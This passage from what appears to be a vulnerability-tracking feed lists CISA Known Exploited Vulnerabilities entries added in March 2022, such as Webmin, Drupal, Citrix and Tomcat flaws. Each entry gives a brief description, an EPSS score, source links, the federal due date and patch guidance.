Apache Kylin OS Command Injection Vulnerability https://kevwire.com/record/CVE-2020-1956 Apache Kylin OS Command Injection Vulnerability (Mar 25, 2022). Apache Kylin contains an OS command injection vulnerability which could permit an attacker to perform remote code execution. EPSS 97.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1956&date=2026-10-25). Sources: CISA KEV entry CVE-2020-1956: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1956&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Juniper Junos OS Path Traversal Vulnerability https://kevwire.com/record/CVE-2020-1631 Juniper Junos OS Path Traversal Vulnerability (Mar 25, 2022). A path traversal vulnerability in the HTTP/HTTPS service used by J-Web, Web Authentication, Dynamic-VPN (DVPN), Firewall Authentication Pass-Through with Web-Redirect, and Zero Touch Provisioning (ZTP) allows an unauthenticated attacker to perform remote code execution. EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1631&date=2026-10-25). Sources: CISA KEV entry CVE-2020-1631: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1631&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Drupal Core Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2019-6340 Drupal Core Remote Code Execution Vulnerability (Mar 25, 2022). In Drupal Core, some field types do not properly sanitize data from non-form sources. This can lead to arbitrary PHP code execution in some cases. EPSS 92.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-6340&date=2026-10-25). Sources: CISA KEV entry CVE-2019-6340: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-6340&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle BI Publisher Unauthorized Access Vulnerability https://kevwire.com/record/CVE-2019-2616 Oracle BI Publisher Unauthorized Access Vulnerability (Mar 25, 2022). Oracle BI Publisher, formerly XML Publisher, contains an unspecified vulnerability that allows for various unauthorized actions. Open-source reporting attributes this vulnerability to allowing for authentication bypass. EPSS 92.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-2616&date=2026-10-25). Sources: CISA KEV entry CVE-2019-2616: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-2616&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link Multiple Routers Command Injection Vulnerability https://kevwire.com/record/CVE-2019-16920 D-Link Multiple Routers Command Injection Vulnerability (Mar 25, 2022). Multiple D-Link routers contain a command injection vulnerability which can allow attackers to achieve full system compromise. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-16920&date=2026-10-25). Sources: CISA KEV entry CVE-2019-16920: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-16920&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Webmin Command Injection Vulnerability https://kevwire.com/record/CVE-2019-15107 Webmin Command Injection Vulnerability (Mar 25, 2022). An issue was discovered in Webmin. The parameter old in password_change.cgi contains a command injection vulnerability. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-15107&date=2026-10-25). Sources: CISA KEV entry CVE-2019-15107: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-15107&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix SD-WAN and NetScaler Command Injection Vulnerability https://kevwire.com/record/CVE-2019-12991 Citrix SD-WAN and NetScaler Command Injection Vulnerability (Mar 25, 2022). Authenticated Command Injection in Citrix SD-WAN Appliance and NetScaler SD-WAN Appliance. EPSS 74.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-12991&date=2026-10-25). Sources: CISA KEV entry CVE-2019-12991: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-12991&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix SD-WAN and NetScaler SQL Injection Vulnerability https://kevwire.com/record/CVE-2019-12989 Citrix SD-WAN and NetScaler SQL Injection Vulnerability (Mar 25, 2022). Citrix SD-WAN and NetScaler SD-WAN allow SQL Injection. EPSS 94.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-12989&date=2026-10-25). Sources: CISA KEV entry CVE-2019-12989: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-12989&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PHP FastCGI Process Manager (FPM) Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2019-11043 PHP FastCGI Process Manager (FPM) Buffer Overflow Vulnerability (Mar 25, 2022). In some versions of PHP in certain configurations of FPM setup, it is possible to cause FPM module to write past allocated buffers allowing the possibility of remote code execution. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11043&date=2026-10-25). Sources: CISA KEV entry CVE-2019-11043: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11043&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Kentico Xperience Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2019-10068 Kentico Xperience Deserialization of Untrusted Data Vulnerability (Mar 25, 2022). Kentico contains a failure to validate security headers. This deserialization can led to unauthenticated remote code execution. EPSS 95.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-10068&date=2026-10-25). Sources: CISA KEV entry CVE-2019-10068: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-10068&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Jenkins Matrix Project Plugin Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2019-1003030 Jenkins Matrix Project Plugin Remote Code Execution Vulnerability (Mar 25, 2022). Jenkins Matrix Project plugin contains a vulnerability which can allow users to escape the sandbox, opening opportunity to perform remote code execution. EPSS 97.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1003030&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1003030: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1003030&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft GDI Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2019-0903 Microsoft GDI Remote Code Execution Vulnerability (Mar 25, 2022). A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in the memory. An attacker who successfully exploited this vulnerability could take control of the affected system. EPSS 21.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0903&date=2026-10-25). Sources: CISA KEV entry CVE-2019-0903: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0903&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Shell Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2018-8414 Microsoft Windows Shell Remote Code Execution Vulnerability (Mar 25, 2022). A remote code execution vulnerability exists when the Windows Shell does not properly validate file paths. EPSS 72.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8414&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8414: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8414&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Scripting Engine Memory Corruption Vulnerability https://kevwire.com/record/CVE-2018-8373 Microsoft Scripting Engine Memory Corruption Vulnerability (Mar 25, 2022). A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. EPSS 61.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8373&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8373: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8373&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware SD-WAN Edge by VeloCloud Command Injection Vulnerability https://kevwire.com/record/CVE-2018-6961 VMware SD-WAN Edge by VeloCloud Command Injection Vulnerability (Mar 25, 2022). VMware SD-WAN Edge by VeloCloud contains a command injection vulnerability in the local web UI component. Successful exploitation of this issue could result in remote code execution. EPSS 85.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-6961&date=2026-10-25). Sources: CISA KEV entry CVE-2018-6961: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-6961&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### LG N1A1 NAS Remote Command Execution Vulnerability https://kevwire.com/record/CVE-2018-14839 LG N1A1 NAS Remote Command Execution Vulnerability (Mar 25, 2022). LG N1A1 NAS 3718.510 is affected by a remote code execution vulnerability. EPSS 89.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-14839&date=2026-10-25). Sources: CISA KEV entry CVE-2018-14839: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-14839&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware Tanzu Spring Data Commons Property Binder Vulnerability https://kevwire.com/record/CVE-2018-1273 VMware Tanzu Spring Data Commons Property Binder Vulnerability (Mar 25, 2022). Spring Data Commons contains a property binder vulnerability which can allow an attacker to perform remote code execution. EPSS 97.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-1273&date=2026-10-25). Sources: CISA KEV entry CVE-2018-1273: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-1273&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Quest KACE System Management Appliance Remote Command Execution Vulnerability https://kevwire.com/record/CVE-2018-11138 Quest KACE System Management Appliance Remote Command Execution Vulnerability (Mar 25, 2022). The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance is accessible by anonymous users and can be abused to perform remote code execution. EPSS 91.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-11138&date=2026-10-25). Sources: CISA KEV entry CVE-2018-11138: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-11138&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Secure Access Control System Java Deserialization Vulnerability https://kevwire.com/record/CVE-2018-0147 Cisco Secure Access Control System Java Deserialization Vulnerability (Mar 25, 2022). A vulnerability in Java deserialization used by Cisco Secure Access Control System (ACS) could allow an unauthenticated, remote attacker to execute arbitrary commands on an affected device. The vulnerability is due to insecure deserialization of user-supplied content by the affected software. EPSS 18.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0147&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0147: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0147&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco VPN Routers Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2018-0125 Cisco VPN Routers Remote Code Execution Vulnerability (Mar 25, 2022). A vulnerability in the web interface of the Cisco VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code as root and gain full control of an affected system. EPSS 55.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0125&date=2026-10-25). Sources: CISA KEV entry CVE-2018-0125: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0125&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### NETGEAR DGN2200 Devices OS Command Injection Vulnerability https://kevwire.com/record/CVE-2017-6334 NETGEAR DGN2200 Devices OS Command Injection Vulnerability (Mar 25, 2022). dnslookup.cgi on NETGEAR DGN2200 devices with firmware through 10.0.0.50 allows remote authenticated users to execute arbitrary OS commands EPSS 72.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6334&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6334: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6334&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix Multiple Products Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-6316 Citrix Multiple Products Remote Code Execution Vulnerability (Mar 25, 2022). A vulnerability has been identified in the management interface of Citrix NetScaler SD-WAN Enterprise and Standard Edition and Citrix CloudBridge Virtual WAN Edition that could result in an unauthenticated, remote attacker being able to execute arbitrary code as a root user. This vulnerability also affects XenMobile Server. EPSS 73.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6316&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6316: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6316&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-3881 Cisco IOS and IOS XE Remote Code Execution Vulnerability (Mar 25, 2022). A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges. EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-3881&date=2026-10-25). Sources: CISA KEV entry CVE-2017-3881: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-3881&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Tomcat Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-12617 Apache Tomcat Remote Code Execution Vulnerability (Mar 25, 2022). When running Apache Tomcat, it is possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12617&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12617: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12617&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Tomcat on Windows Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-12615 Apache Tomcat on Windows Remote Code Execution Vulnerability (Mar 25, 2022). When running Apache Tomcat on Windows with HTTP PUTs enabled, it is possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12615&date=2026-10-25). Sources: CISA KEV entry CVE-2017-12615: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12615&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows SMB Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-0146 Microsoft Windows SMB Remote Code Execution Vulnerability (Mar 25, 2022). The SMBv1 server in Microsoft Windows allows remote attackers to perform remote code execution. EPSS 89.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0146&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0146: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0146&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Use-After-Free Vulnerability https://kevwire.com/record/CVE-2016-7892 Adobe Flash Player Use-After-Free Vulnerability (Mar 25, 2022). Adobe Flash Player has an exploitable use-after-free vulnerability in the TextField class. EPSS 18.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7892&date=2026-10-25). Sources: CISA KEV entry CVE-2016-7892: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7892&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2016-4171 Adobe Flash Player Remote Code Execution Vulnerability (Mar 25, 2022). Unspecified vulnerability in Adobe Flash Player allows for remote code execution. EPSS 20.1% for the following 30 days, scored Oct 25, 2026 